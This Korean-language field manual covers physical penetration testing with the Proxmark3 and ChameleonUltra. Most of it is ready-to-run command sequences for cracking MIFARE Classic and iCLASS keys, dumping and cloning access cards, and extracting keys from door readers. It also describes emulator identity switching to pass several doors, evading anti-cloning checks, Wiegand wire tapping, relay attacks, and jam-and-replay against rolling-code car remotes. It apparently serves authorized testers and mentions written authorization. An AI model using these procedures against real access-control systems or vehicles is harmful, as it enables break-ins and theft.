PART 1. Proxmark3 RDV4

 

1.1 아키텍처 및 펌웨어

Proxmark3 RDV4는 FPGA + ARM 이중 프로세서 구조다.

FPGA가 RF 레이어의 실시간 신호 처리(변복조)를 담당하고, ARM MCU가 상위 프로토콜 로직과 명령 실행을 처리한다.

구성 요소 역할 스펙
FPGA (Spartan-II, 2s30vq100) RF 신호 처리, 실시간 변복조 LF/HF 이미지 분리 운용 — 전환 시 약 1초 소요
ARM MCU (AT91SAM7S512 / ARM7TDMI) 프로토콜 처리, 명령 실행 512KB 플래시, 64KB SRAM — Iceman 펌웨어 실행
HF 안테나 (13.56MHz) MIFARE/DESFire/iCLASS RDV4 — 소켓 방식 교체 가능한 확장 안테나
LF 안테나 (125kHz) HID/EM/Indala/T5577 RDV4 — 소켓 방식 교체 가능한 확장 안테나
외장 플래시 512KB 키 딕셔너리, 펌웨어 저장 구형 256KB 대비 더 많은 기능 지원

⚠️ 하드웨어 참고: FPGA는 RF 변복조 전용이다. Hardnested 등 크래킹 연산은 PC CPU(AVX2 SIMD)에서 수행된다. RDV2·Easy 클론은 Hardnested를 지원하지 않으므로 RDV4 이상을 사용해야 한다.


Iceman 펌웨어 설치 (권장)

공식 펌웨어보다 Iceman fork가 훨씬 더 많은 기능과 최신 공격 알고리즘을 포함한다.

# 소스 빌드 및 설치 (Linux / macOS)
git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3
make clean && make all

# 펌웨어 플래시 (PM3 연결 후)
./pm3-flash-all

# 클라이언트 실행
./pm3

1.2 기본 탐색 및 카드 식별 명령

# 하드웨어 확인
pm3 --> hw tune          # 안테나 튜닝 상태 확인
pm3 --> hw ver           # 펌웨어 버전 확인
pm3 --> hw status        # 전체 하드웨어 상태

# 카드 자동 탐색
pm3 --> hf search        # HF(13.56MHz) 카드 자동 탐색 및 식별
pm3 --> lf search        # LF(125kHz) 카드 자동 탐색
pm3 --> auto             # LF + HF 동시 자동 탐색

# 카드 상세 정보 확인
pm3 --> hf 14a reader    # ISO14443A 리더 모드 (MIFARE 계열)
pm3 --> hf mf info       # MIFARE Classic 상세 정보 (타입, UID, ATQA, SAK, PRNG 탐지)
pm3 --> hf mfdes info    # DESFire 상세 정보 (버전, 앱 목록, 보안 설정)
pm3 --> hf iclass info   # iCLASS 카드 정보
pm3 --> lf hid demod     # HID 125kHz 카드 디모듈레이션

1.3 MIFARE Classic 전체 공격 워크플로우

MIFARE Classic은 현재도 전 세계 수억 장이 사용 중이다. Crypto1 암호화 알고리즘의 설계 결함으로 인해 여러 공격 경로가 존재한다.

Step 1 — 카드 정보 확인 및 PRNG 탐지

공격 기법 선택 전, 반드시 PRNG 유형을 먼저 확인한다.

pm3 --> hf mf info

# 결과 예시
UID  : A1 B2 C3 D4
ATQA : 00 04
SAK  : 08
TYPE : NXP MIFARE CLASSIC 1k
Prng detection: WEAK        ← Darkside / Nested 공격 가능
Prng detection: HARDENED    ← Hardnested 공격 필요

Step 1-1 — 키 딕셔너리 공격 (가장 먼저 시도)

# 플래시 메모리 딕셔너리 사용 (가장 빠름)
pm3 --> hf mf fchk --1k --mem

# 외부 딕셔너리 파일 사용
pm3 --> hf mf chk --1k -f mfc_default_keys.dic

Step 2 — Darkside 공격 (키를 전혀 모를 때, WEAK PRNG 전용)

pm3 --> hf mf darkside
# 결과 예시 → Key Found: a0b1c2d3e4f5

ℹ️ PRNG 패치 카드(Prng detection: HARDENED)에서는 Darkside가 실패한다 → Step 4 Hardnested로 이동

Step 3 — Nested 공격 (키 1개 보유 시, WEAK PRNG)

# 섹터 0 키 A = FFFFFFFFFFFF → 섹터 4 키 A 추출
pm3 --> hf mf nested --1k -s 0 -a -k FFFFFFFFFFFF --tblk 4 --ta

# autopwn: 알려진 키 1개로 전체 카드 자동 크래킹 + 덤프
pm3 --> hf mf autopwn -s 0 -a -k FFFFFFFFFFFF

# 딕셔너리 기반 자동 (키를 모를 때)
pm3 --> hf mf autopwn --1k -f mfc_default_keys

Step 4 — Hardnested 공격 (PRNG 패치 카드, 최소 키 1개 필요)

⚠️ Hardnested도 최소 1개의 섹터 키가 필요하다. 키가 전혀 없으면 먼저 Darkside 시도 (HARDENED 카드면 Reader Attack으로 리더기에서 키 추출).

# 섹터 0 키 A = 8829da9daf76 → 섹터 4 키 A 추출
# 연산은 PC CPU(AVX2 SIMD)에서 수행됨
pm3 --> hf mf hardnested -s 0 -a -k 8829da9daf76 --tblk 4 --ta

# nonce 파일로 저장 후 오프라인 크래킹
pm3 --> hf mf hardnested -s 0 -a -k 8829da9daf76 --tblk 4 --ta -w

Step 5 — 전체 카드 덤프

pm3 --> hf mf dump
pm3 --> hf mf dump --1k -k hf-mf-UID-key.bin -f hf-mf-UID-dump.bin

# 덤프 파일 내용 확인
pm3 --> hf mf view -f hf-mf-UID-dump.bin

Step 6 — 에뮬레이션 (가상 카드로 동작)

# 덤프 파일을 에뮬레이터 메모리에 로드
pm3 --> hf mf eload --1k -f hf-mf-UID-dump.bin

# 에뮬레이션 시작
pm3 --> hf mf sim -u 353C2AA6

Step 7 — Magic 카드에 복제

# Gen1A Magic 카드 — UID 포함 전체 블록 쓰기 가능
pm3 --> hf mf restore --1k --uid A29558E4 -k hf-mf-A29558E4-key.bin -f hf-mf-A29558E4-dump.bin

# Gen2 Magic 카드 — 블록 0 직접 쓰기
pm3 --> hf mf wrbl --blk 0 -k FFFFFFFFFFFF -d D3A2859F6B880400C8010020000000BD

공격 선택 흐름도

hf mf info → PRNG 탐지
      │
      ├─ 딕셔너리 공격 (fchk --mem) ─── 성공 → autopwn → dump → 복제
      │              실패 ↓
      ├─ [WEAK] Darkside 공격 ────────── 성공 → Nested → autopwn → dump
      │         실패(HARDENED) ↓
      ├─ [HARDENED] Reader Attack ────── 성공 → Hardnested → dump → 복제
      │             (Mfkey32/64)
      └─ Hardnested 공격 (키 1개 필요) → dump → 복제

1.4 LF(125kHz) 카드 공격

pm3 --> lf search                         # LF 카드 자동 식별

# EM4100 읽기 및 T5577에 복제
pm3 --> lf em 410x reader
pm3 --> lf em 410x clone --id 0102030405

# HID Prox 읽기 및 T5577에 복제
pm3 --> lf hid reader
pm3 --> lf hid clone -r 2004263360

# Indala 읽기 및 복제
pm3 --> lf indala reader
pm3 --> lf indala clone --raw <raw_data>

1.5 DESFire 분석 및 정보 수집

DESFire EV2/EV3는 AES-128 암호화로 직접 크래킹이 현실적으로 불가능하다. 단, 시스템 세팅 취약점 탐색(UID 모드 여부)은 가능하다.

pm3 --> hf mfdes info         # 버전, 하드웨어 정보, UID, AES 활성화 여부 확인
pm3 --> hf mfdes enumapps     # Application 목록 조회
pm3 --> hf mfdes lsapp        # 앱 구조 상세 확인

# 카드-리더기 간 통신 스니핑
pm3 --> hf 14a snoop          # 패킷 캡처

✔️ 탐지 방법: hf mfdes info 결과에서 PICC 레벨 AES 인증 없이 UID만 응답하면 UID-only 모드로 잘못 세팅된 것이다 → UID 에뮬레이션 공격 가능.


1.6 iCLASS 공격

pm3 --> hf iclass info
pm3 --> hf iclass dump -k 0102030405060708      # 알려진 키로 덤프

# 기본 키 딕셔너리 공격
pm3 --> hf iclass chk -f iclass_default_keys.dic

# Loclass 공격 (구형 iCLASS Standard)
pm3 --> hf iclass loclass -f iclass_mac_attack.bin

1.7 리더기 스니핑 (Reader Sniffing)

출입문 리더기와 카드 사이의 실제 통신을 캡처한다. Proxmark3를 카드와 리더기 사이에 물리적으로 위치시킨다.

pm3 --> hf 14a snoop              # ISO14443A 통신 스니핑
pm3 --> hf mf snoop               # MIFARE Classic 전용 스니핑

# 수집된 nonce에서 키 복구
# - 2쌍 수집 → mfkey32 사용
# - 1쌍만 수집 → mfkey64 사용
pm3 --> hf mf nonces              # 수집된 nonce 분석
pm3 --> hf mf elog --decrypt      # 로그 복호화 및 키 복구

PART 2. ChameleonUltra — 심층 운용 가이드

2.1 아키텍처

ChameleonUltra는 Nordic nRF52840 SoC 기반의 차세대 RFID 에뮬레이터다. 기존 ChameleonMini/Tiny의 단순 에뮬레이션에서 읽기/쓰기/크래킹까지 통합한 올인원 도구다. 크래킹 성능은 Proxmark3와 동급 이상이다.

구성 요소 스펙 역할
Nordic nRF52840 ARM Cortex-M4F @ 64MHz 메인 프로세서 + BLE 5.0 통합
HF 안테나 (13.56MHz) 8개 슬롯 지원 MIFARE, DESFire, NTAG 에뮬레이션/읽기/크래킹
LF 안테나 (125kHz) 8개 슬롯 지원 EM410x, HID, Indala 에뮬레이션/읽기
BLE 5.0 저전력 무선 MTools BLE 앱으로 스마트폰 원격 제어
USB-C 펌웨어 업데이트, CLI OTA 업데이트 또는 유선 연결
배터리 35mAh 소형 리튬 (버튼형) 1회 충전 약 6개월 (하루 8회 × 3초 스와이프 기준)

2.2 지원 카드 타입 및 운용 모드

카드 타입 읽기 에뮬레이션 쓰기/복제 크래킹 비고
MIFARE Classic 1K/4K Darkside, Nested, StaticNested, Hardnested, MFKEY32 v2 전부 지원
MIFARE Plus SL1 SL1은 Classic과 동일 취약
MIFARE Plus SL3 ✅ (UID) ✅ (UID) AES 모드 크래킹 불가
DESFire EV1/EV2 ✅ (UID) ✅ (UID) AES 인증 시 불가
NTAG210~218 N/A 암호화 없음
MIFARE Ultralight / C / EV1 N/A
EM410x (125kHz) N/A 단순 UID 복제
HID Prox (125kHz) N/A T5577 포맷
Indala (125kHz) N/A

2.3 CLI 운용 (USB 연결)

# 시리얼 연결
screen /dev/ttyACM0 115200
# 또는 공식 파이썬 CLI
python3 chameleon_cli_main.py

# 슬롯 관리
hw slot list                       # 슬롯 목록 확인
hw slot change -s 2                # 슬롯 2로 전환
hw slot activate -s 1              # 슬롯 1 활성화

# 카드 읽기
hf 14a scan                        # HF 카드 스캔
hf mf rdbl -s 0 -k FFFFFFFFFFFF    # MIFARE Classic 블록 읽기
hf mf clone                        # 카드 데이터를 현재 슬롯에 저장

# 에뮬레이션 설정
hf 14a emulate -t mifare_1k        # 에뮬레이션 타입 설정
hf 14a emulate -u 0A1B2C3D         # UID 수동 설정

# Mfkey32 리더기 공격 (CLI)
hf mf mfkey32 enable               # nonce 수집 모드 활성화
hf mf mfkey32 collect              # 리더기 접촉 후 수집 확인
hf mf mfkey32 recover              # 수집된 nonce로 키 복구

2.4 MTools BLE 앱 운용 (iOS / Android)

PC 없이 현장에서 즉각적인 운용을 가능하게 하는 핵심 인터페이스다.

기능 MTools BLE 경로 CLI 명령
카드 스캔 Slot Manager > Scan hf 14a scan
슬롯 전환 슬롯 번호 탭 hw slot change -s N
Mfkey32 수집 MIFARE Settings > Mfkey32 hf mf mfkey32 enable
키 복구 Recover Keys hf mf mfkey32 recover
덤프 임포트 Dump Import > BIN/MCT/JSON (파일 전송)
Gen1A 모드 MIFARE Settings > Gen1A Magic Mode (GUI 토글)
펌웨어 OTA OTA Tool > Update (DFU 모드)
슬롯 이름 편집 Slot name editor

2.5 ChameleonUltra 핵심 공격 기법

① Reader Attack — Mfkey32 v2 (리더기 대상 키 추출)

피해자 카드 없이 리더기만으로 마스터 키를 추출하는 가장 강력한 공격이다.

1. ChameleonUltra를 빈 MIFARE Classic 1K로 세팅
2. MTools BLE 앱에서 'Mfkey32 모드' 활성화
3. 타깃 출입문 리더기에 ChameleonUltra 접촉
4. 리더기가 인증 Challenge 전송 → nonce 자동 수집
5. 앱에서 'Recover Keys' 실행 → Mfkey32 v2로 키 복구
6. 복구된 키를 슬롯에 저장 → 정상 카드로 에뮬레이션

② 다중 신분 전환 (Multi-Identity Switching)

16개 슬롯(HF 8 + LF 8)에 각각 다른 카드 데이터를 저장하고 버튼 한 번 또는 앱으로 즉시 전환한다.

슬롯 HF-1: 청소직원 LF HID 카드    → 1층~5층 접근
슬롯 HF-2: IT 관리자 MIFARE Classic → 서버실 접근
슬롯 HF-3: 방문객 DESFire EV2 UID  → 로비 접근
슬롯 LF-1: 주차장 EM4100 카드
슬롯 HF-4~8: 추가 신원 또는 테스트용

③ Gen1A / Gen2 Magic 카드 에뮬레이션

블록 0(UID, 제조사 데이터)를 자유롭게 쓸 수 있는 Magic 카드 동작을 완벽히 에뮬레이션한다.

# MTools BLE 앱 또는 CLI에서 설정
# Gen1A Magic Mode: ON → Proxmark3 cload 명령으로 블록 0 쓰기 허용
# Gen2 Magic Mode: ON → 블록 0 직접 쓰기 가능

2.6 Proxmark3 + ChameleonUltra 연동 파이프라인

두 기기의 장점을 결합한 완성된 물리적 모의해킹 파이프라인이다.

──────────────────────────────────────────────────────────
 단계           역할                도구
──────────────────────────────────────────────────────────
 1. 정찰      PM3 주도            Proxmark3 RDV4 + 확장 안테나
              카드 타입, UID, ATQA/SAK, PRNG 유형 수집

 2. 크래킹    PM3 주도            Proxmark3 + 노트북 (PC CPU AVX2)
              Darkside → Nested → Hardnested → .bin 덤프

 3. 리더기    ChameleonUltra 주도 ChameleonUltra + MTools BLE
    공격      Mfkey32 v2로 리더기에서 직접 키 추출

 4. 이전      BLE 전송            MTools BLE 앱
              덤프 파일 → ChameleonUltra 슬롯 로드

 5. 침투      ChameleonUltra 주도 ChameleonUltra (주머니 속)
              16개 슬롯 전환하며 여러 출입문 통과

 6. 보고      문서화              작성 도구
──────────────────────────────────────────────────────────

PART 3. 고급 기법 및 특수 시나리오

3.1 Magic 카드 탐지 우회

일부 고급 출입 통제 시스템은 Anti-Cloning 기능으로 Magic 카드 또는 에뮬레이터를 탐지한다.

탐지 방법 원리 우회 방법
Gen1A Backdoor 탐지 0x40(7-bit), 0x43 명령 응답 확인 Gen2 또는 Gen4 카드 사용 / ChameleonUltra Magic Mode 비활성화
NXP 서명 검증 NXP 공장 ECDSA 서명 존재 여부 확인 정품 카드 또는 Gen4 Ultimate 카드
랜덤 UID 확인 매 접촉마다 UID 변경 테스트 ChameleonUltra 고정 UID 에뮬레이션으로 우회
ATQA/SAK 정확성 비표준 값 탐지 ChameleonUltra에서 정확한 ATQA/SAK 수동 설정
응답 타이밍 분석 에뮬레이터와 실제 칩의 응답 속도 차이 측정 ChameleonUltra는 nRF52840 고속 클럭으로 차이 최소화

3.2 Wiegand 프로토콜 공격

Wiegand는 RFID 리더기와 출입문 컨트롤러 사이의 통신 프로토콜로, 비암호화 평문 전송이 기본이다. 물리적 탭(Tap)으로 데이터 도청이 가능하다.

# D0/D1 신호선 물리 탭 후 Proxmark3로 캡처

# Wiegand 코드 분석
pm3 --> lf hid wiegand -r 0x0002000F

# T5577에 복제
pm3 --> lf hid clone -r <raw_data>

ℹ️ 특징: 카드와 리더기가 모두 올바르게 세팅되어 있어도 케이블에 물리 접근하는 것만으로 우회 가능하다. Wiegand 계층의 별도 암호화가 필요한 이유다.


3.3 통신 릴레이 공격 (Relay Attack)

공격자 A가 타깃 카드 근처에서 신호를 수신하고, 공격자 B가 출입문 리더기 근처에서 신호를 중계하여 타깃이 완전히 다른 장소에 있어도 출입문을 개방하는 공격이다.

[공격자 A]                              [공격자 B]
피해자 근처 (1m 이내)                   출입문 리더기 근처
롱레인지 RFID 안테나                    리더기에 태그
신호 수집          ──BT/인터넷──▶       신호 중계·재전송

결과: 피해자가 다른 건물에 있어도 출입문 개방

ℹ️ 방어: NXP DESFire EV3는 Proximity Check(근접성 검증) 기능으로 릴레이 공격을 방어한다. AES 모드와 함께 사용 시 현재까지 가장 효과적인 방어 수단이다.


3.4 현장 운용 체크리스트

사전 준비

  • 서면 허가서 및 모의해킹 범위(Scope) 확인 (필수)
  • Proxmark3 — Iceman fork 최신 펌웨어 업데이트
  • ChameleonUltra — 펌웨어 및 MTools BLE 앱 최신 버전 확인
  • 키 딕셔너리 최신화 (mfc_default_keys.dic)
  • 배터리 충전 상태 확인 (ChameleonUltra — 앱에서 확인)
  • Magic 카드(Gen1A/Gen2) 및 T5577 카드 지참

현장 정찰

  • 출입문 리더기 종류 식별 (HID / MIFARE / DESFire 로고 확인)
  • 카드 두께·크기로 LF vs HF 추정
  • hf search / lf search로 타깃 카드 타입 확인
  • hf mf info로 PRNG 유형 (WEAK / HARDENED) 확인
  • DESFire 카드 → hf mfdes info로 AES 활성화 여부 확인

공격 실행

  • MIFARE Classic: autopwn → 덤프 → ChameleonUltra 복제
  • UID-only 시스템: UID 수집 → ChameleonUltra 에뮬레이션
  • 리더기 공격: ChameleonUltra Mfkey32 모드 → 키 추출
  • LF 카드: lf search → T5577에 복제

증거 수집 및 보고

  • 전체 작업 로그 저장
  • 덤프 파일 백업
  • 취약한 세팅 스크린샷/사진 촬영
  • 공격 성공/실패 결과 및 영향도 기록

부록. 명령어 퀵 레퍼런스

Proxmark3 전체 명령어

명령어 기능 카테고리
hw tune 안테나 상태 확인 하드웨어
hw ver 펌웨어 버전 확인 하드웨어
hf search HF 카드 자동 식별 + PRNG 탐지 탐색
lf search LF 카드 자동 식별 탐색
auto LF + HF 동시 탐색 탐색
hf mf info MIFARE Classic 상세 정보 MIFARE
hf mf fchk --1k --mem 플래시 딕셔너리로 키 공격 MIFARE 크래킹
hf mf autopwn 자동 크래킹 + 덤프 (원커맨드) MIFARE 크래킹
hf mf darkside Darkside 공격 (WEAK PRNG 전용) MIFARE 크래킹
hf mf nested Nested 공격 (키 1개 + WEAK PRNG) MIFARE 크래킹
hf mf hardnested Hardnested 공격 (키 1개 + HARDENED) MIFARE 크래킹
hf mf dump 전체 카드 덤프 MIFARE
hf mf eload 덤프 파일 에뮬레이터 로드 MIFARE 에뮬레이션
hf mf sim 카드 에뮬레이션 시작 MIFARE 에뮬레이션
hf mf restore Magic 카드에 덤프 복원 MIFARE 복제
hf mf snoop 카드-리더기 통신 스니핑 스니핑
hf 14a snoop ISO14443A 통신 스니핑 스니핑
hf mf elog --decrypt 스니핑 로그에서 키 복구 스니핑
hf mfdes info DESFire 상세 정보 + AES 활성화 여부 DESFire
hf mfdes enumapps DESFire Application 목록 DESFire
hf iclass info iCLASS 카드 정보 iCLASS
hf iclass chk iCLASS 키 딕셔너리 공격 iCLASS
hf iclass loclass Loclass 공격 (구형 iCLASS Standard) iCLASS
lf hid reader HID 카드 읽기 LF
lf hid clone HID 카드 복제 (T5577) LF
lf hid wiegand Wiegand 코드 분석 LF
lf em 410x reader EM4100 읽기 LF
lf em 410x clone EM4100 복제 LF

ChameleonUltra 핵심 기능 대조표

기능 MTools BLE 경로 CLI 명령
카드 스캔 Slot Manager > Scan hf 14a scan
슬롯 전환 슬롯 번호 탭 hw slot change -s N
슬롯 활성화 슬롯 탭 > 활성화 hw slot activate -s N
Mfkey32 v2 수집 MIFARE Settings > Mfkey32 hf mf mfkey32 enable
키 복구 Recover Keys hf mf mfkey32 recover
덤프 임포트 Dump Import > BIN/MCT/JSON (파일 전송)
Gen1A 모드 MIFARE Settings > Gen1A Magic Mode (GUI 토글)
Gen2 모드 MIFARE Settings > Gen2 Magic Mode (GUI 토글)
펌웨어 OTA OTA Tool > Update (DFU 모드)
슬롯 이름 편집 Slot name editor
BLE 연결 앱 실행 후 기기 스캔

카드 타입별 공격 전략 요약

카드 최적 공격 전략 주도 도구
EM4100 / HID 125kHz lf search → T5577 즉시 복제 Proxmark3 / Flipper Zero
MIFARE Classic (기본 키) fchk --mem → dump → 복제 Proxmark3
MIFARE Classic (커스텀 키, WEAK) autopwn (Darkside/Nested) Proxmark3
MIFARE Classic (커스텀 키, HARDENED) Reader Attack → Hardnested → dump Proxmark3 + ChameleonUltra
DESFire EV2 (UID 모드) hf mfdes info → UID 확인 → CU 에뮬레이션 Proxmark3 + ChameleonUltra
리더기 마스터 키 추출 Mfkey32 v2 Reader Attack ChameleonUltra
iCLASS Standard loclass → dump → 복제 Proxmark3

변경 이력 (검토 수정 사항)

항목 원문 오류 수정 내용
Proxmark3 RDV4 CPU ARM Cortex-M4 AT91SAM7S512 (ARM7TDMI)hw status 실제 출력값 기반
FPGA 모델 Spartan-6 2s30vq100 (Spartan-II 계열) — 펌웨어 실제 이미지명 기반
Hardnested 연산 주체 "FPGA가 크래킹 오프로딩" PC CPU(AVX2 SIMD)에서 수행 — FPGA는 RF 처리 전담
ChameleonUltra 크래킹 기능 StaticNested 누락 MFKEY32 v2, Darkside, Nested, StaticNested, Hardnested 전부 추가
PRNG 탐지 단계 누락 없음 hf mf info → WEAK/HARDENED 확인 단계 추가
Mfkey32 / Mfkey64 구분 누락 Mfkey32만 언급 nonce 쌍 수에 따른 도구 선택 기준 추가

1. 하드웨어 공격 벡터 분류

물리적 모의해킹에서 공격자가 활용하는 벡터는 크게 5가지 카테고리로 구분된다.

각 벡터는 독립적으로 사용되거나 공격 체인(Attack Chain) 을 이루어 복합 공격을 형성한다.

공격 벡터 주요 대상 핵심 도구 난이도
RFID/NFC 접근 통제 우회 출입문, 사원증, 주차 시스템 Proxmark3, ChameleonUltra
무선 주파수(RF) 공격 차량 스마트키, 리모컨, IoT HackRF One, Flipper Zero 중~고
물리적 HID 인젝션 업무용 PC, 서버 O.MG Cable, Rubber Ducky
Wi-Fi / 네트워크 공격 기업 무선 인프라 WiFi Pineapple, Alfa 어댑터
IoT / 임베디드 하드웨어 산업용 기기, 스마트 기기 Bus Pirate 5, JTAGulator

2. RFID / NFC 접근 통제 공격

RFID/NFC 기반 출입 통제는 기업 환경에서 가장 광범위하게 사용되지만, 동시에 가장 많이 취약하게 세팅되는 영역이다. 공격은 크게 카드 분석 → 키 크래킹 → 에뮬레이션 세 단계로 구성된다.

2.1 카드 타입별 보안 등급 및 공격 가능성

카드 타입 주파수 암호화 공격 난이도 비고
EM4100 / HID 125kHz 125kHz 없음 (UID 평문 전송) ⬛ 매우 쉬움 Flipper Zero로도 즉시 복제 가능
MIFARE Classic 1K/4K 13.56MHz Crypto1 (설계 결함) 🟥 쉬움 Darkside / Nested 공격 가능
MIFARE Plus SL1 13.56MHz Crypto1 하위호환 🟥 쉬움 SL1 모드 시 Classic과 동일 취약
MIFARE Plus SL3 13.56MHz AES-128 🟧 어려움 AES 완전 활성화 시 현실적 불가
MIFARE DESFire EV1/EV2 (UID 모드) 13.56MHz 사실상 없음 ⬛ 매우 쉬움 UID만 읽는 잘못된 세팅 — 현실에서 빈번
MIFARE DESFire EV2/EV3 (AES 모드) 13.56MHz AES-128 + 상호인증 🟩 현실적 불가 암호 키 없이 정면 돌파 불가
HID iCLASS SE 13.56MHz AES 🟧 어려움 다운그레이드 공격 일부 가능
HID iCLASS (구형 Standard) 13.56MHz 독자 알고리즘 🟥 중간 키 추출 후 복제 가능 (Loclass)

💡 핵심
DESFire EV2/EV3 같은 고보안 카드도 출입문 리더기가 UID만 확인하도록 잘못 세팅된 경우가 현실에서 매우 광범위하게 존재한다. 카드 자체의 보안 등급보다 세팅 방식이 실질적 보안 수준을 결정한다.


2.2 RFID/NFC 공격 기법 상세

사전 준비: PRNG 유형 탐지

공격 기법을 선택하기 전에 반드시 카드의 PRNG 유형을 확인한다.

pm3 --> hf search

UID : xx xx xx xx
ATQA : 00 04
SAK  : 08
TYPE : NXP MIFARE CLASSIC 1k
Prng detection: WEAK        ← Darkside / Nested 공격 가능
Prng detection: HARDENED    ← Hardnested 공격 필요

① 다크사이드 공격 (Darkside Attack)

  • 대상: MIFARE Classic — WEAK PRNG 카드 (2011년 이전 구형 또는 패치 미적용)
  • 원리: Crypto1 인증 프로토콜의 두 가지 구현 버그를 악용한다. 카드는 패리티 비트가 맞고 키가 틀린 인증 요청에 대해 암호화된 4비트 NACK 코드를 응답한다. 공격자는 이 NACK를 XOR 연산으로 분석해 키스트림 비트를 추출하고, 이를 반복해 첫 번째 섹터 키를 복구한다. (PRNG 예측은 공격 가속의 보조 수단이며, 핵심 원리는 NACK 누출 버그이다.)
공격 흐름:
1. 반복 인증 시도 — 패리티 비트 OK, 키 틀린 조합으로 전송
2. 카드가 암호화된 NACK(4비트) 응답
3. NACK XOR 연산 → 키스트림 비트 추출 (약 1,536회 시도)
4. 키스트림 누적 → 첫 번째 섹터 키 복구
5. 소요 시간: 약 5~25초

⚠️ 주의: 2011년 이후 NXP가 NACK 버그 및 PRNG를 패치한 'hardened' 카드(MIFARE Classic EV1 등)는 Darkside에 면역이다. Prng detection: HARDENED 확인 시 Hardnested로 전환한다.


② 중첩 공격 (Nested Attack)

  • 대상: MIFARE Classic 전반 — 하나 이상의 키를 보유한 경우
  • 전제 조건: 최소 1개 섹터의 키 A 또는 B를 알고 있어야 한다. (Darkside로 먼저 획득 가능)
  • 원리: 알고 있는 섹터 키로 인증 후, 다른 섹터 인증을 연쇄 시도한다. WEAK PRNG 카드는 nonce가 예측 가능한 패턴을 가지므로 암호화된 nonce 쌍을 분석해 나머지 섹터 키를 연쇄 추출한다.
공격 흐름:
1. 알려진 키로 섹터 0 인증
2. 인증 세션 유지 상태에서 미지 섹터 인증 시도
3. 암호화된 nonce 쌍 수집 (2~3회 반복으로 충분)
4. nonce 간 "거리" 계산으로 다음 섹터 키 추출
5. MIFARE Classic 1K 기준 16개 섹터 × 키 A/B = 32개 키 전체 획득
6. 소요 시간: 최악의 경우(완전 랜덤 키) 약 5분 이내

③ 하드네스티드 공격 (Hardnested Attack)

  • 대상: PRNG 패치된 MIFARE Classic (MIFARE Classic EV1 등, Prng detection: HARDENED)
  • 전제 조건: 최소 1개 섹터의 키를 알고 있어야 한다. 키가 전혀 없는 경우 Darkside로 먼저 획득 시도. Hardened 카드에 Darkside가 통하지 않으면 리더기 공격(④)을 사용한다.
  • 원리: 패치된 카드는 진정한 32비트 랜덤 nonce를 생성하므로 Nested 방식이 통하지 않는다. 대신 대량의 암호화된 nonce를 수집하고 패리티 비트 누출(Crypto1의 고유 취약점)을 이용한 암호문 전용 공격으로 키를 추출한다.
공격 흐름:
1. 알려진 섹터 키로 인증 후 미지 섹터 nonce 대량 수집
2. PC CPU (AVX2 SIMD 활용)로 키 공간 탐색
3. 패리티 비트 누출 정보로 후보 키 필터링
4. 소요 시간: 섹터당 수 분 ~ 수십 분 (PC 성능에 따라 가변)
5. 전체 자동화: hf mf autopwn 명령 사용 권장

pm3 --> hf mf hardnested 0 A FFFFFFFFFFFF 4 A

⚠️ 하드웨어 주의: Proxmark3 RDV2, Easy 클론 등 구형 기기는 Hardnested를 지원하지 않는다. RDV4 이상을 사용해야 한다.


④ 리더기 대상 공격 (Reader Attack / Mfkey32 · Mfkey64)

  • 대상: MIFARE Classic 기반 출입문 리더기 — 카드 없이 리더기만 있어도 공격 가능
  • 원리: 빈 에뮬레이터 카드를 출입문 리더기에 접촉시키면 리더기가 인증을 시도하며 nonce를 포함한 챌린지를 전송한다. ChameleonUltra 또는 Proxmark3가 이 nonce 쌍을 캡처하여 오프라인에서 리더기 마스터 키를 복구한다.
공격 흐름:
1. ChameleonUltra / Proxmark3를 빈 카드처럼 세팅
2. 출입문 리더기에 접촉 → 리더기가 인증 챌린지(nonce) 전송
3. nonce 쌍 수집 후 오프라인 분석
   - 2쌍 수집 → mfkey32 사용
   - 1쌍만 수집 → mfkey64 사용
4. 리더기의 마스터 인증 키 복구 완료

💡 핵심: 피해자 카드가 전혀 필요 없다. 리더기가 있는 환경이라면 카드 없이도 키 추출이 가능하다.


⑤ UID 에뮬레이션 공격 (UID-only Bypass)

  • 대상: 암호화 인증 없이 UID만 확인하는 시스템 — DESFire 고보안 카드에도 잘못된 세팅으로 광범위하게 존재
  • 원리: 리더기가 UID만 확인하도록 세팅된 경우, 7바이트 UID만 복사한 에뮬레이터 카드로 즉시 출입 가능하다.
공격 흐름:
1. Proxmark3로 타깃 카드 UID 스캔 (0.1초)
2. Magic 카드 또는 ChameleonUltra에 UID 주입
3. 출입문 리더기 접촉 → UID만 확인하므로 출입 허가

2.3 LF(125kHz) 카드 공격

125kHz 저주파 카드는 주차장, 구형 공장 출입문, 일부 아파트에서 여전히 광범위하게 사용된다. 암호화가 전무하여 공격이 단순하고 즉각적이다.

카드 타입 공격 방법 필요 도구 소요 시간
EM4100 UID 직접 읽기 → T5577 카드에 복사 Proxmark3 / Flipper Zero 1초
HID Prox UID 읽기 → T5577에 HID 포맷으로 복사 Proxmark3 수 초
Indala UID 읽기 → T5577에 Indala 포맷으로 복사 Proxmark3 수 초
T5577 (복제 가능 카드) 직접 데이터 쓰기 Proxmark3 즉시

3. 무선 주파수(RF) 공격 — SDR 기반

소프트웨어 정의 라디오(SDR)는 하드웨어 변경 없이 소프트웨어만으로 주파수·변조 방식·프로토콜을 자유롭게 변경할 수 있는 플랫폼이다. HackRF One(1MHz~6GHz) 은 사실상 모든 실용적 무선 신호를 다룰 수 있다.

3.1 고정 코드 리플레이 공격 (Fixed-Code Replay)

  • 대상: 구형 차고문 리모컨, 구형 경보 시스템, 일부 주차 게이트
  • 원리: 매번 동일한 RF 신호를 전송하는 장치의 신호를 캡처 후 그대로 재전송하여 인증 없이 제어한다.
공격 흐름:
1. HackRF One으로 타깃 주파수(315 / 433 / 868MHz 등)에서 신호 캡처
2. URH(Universal Radio Hacker) 또는 GNU Radio로 신호 분석·디코딩
3. 캡처된 IQ 샘플 파일 그대로 재전송
4. Portapack H2/H4M 결합 시 PC 없이 현장 독립 운용 가능

ℹ️ 참고: 현대 차량 대부분은 롤링 코드(Rolling Code / KeeLoq)를 사용하므로 단순 리플레이는 통하지 않는다. 이 경우 아래 Jam-and-Replay 기법이 필요하다.


3.2 Jam-and-Replay 공격

  • 대상: 롤링 코드를 사용하는 차량, 현대 리모컨 시스템
  • 원리: 리모컨 주파수를 재밍(Jamming)하여 첫 번째 신호가 차량에 도달하지 못하게 막으면서 동시에 캡처한다. 피해자가 두 번째로 버튼을 누르면 그 신호도 캡처한 후, 첫 번째 신호를 재전송하여 차량을 개방한다.
공격 흐름:
1. 재밍 신호 전송과 동시에 첫 번째 리모컨 신호 캡처
2. 피해자 재시도 → 두 번째 신호도 캡처
3. 피해자가 이동한 뒤 첫 번째 신호 재전송 → 차량 개방

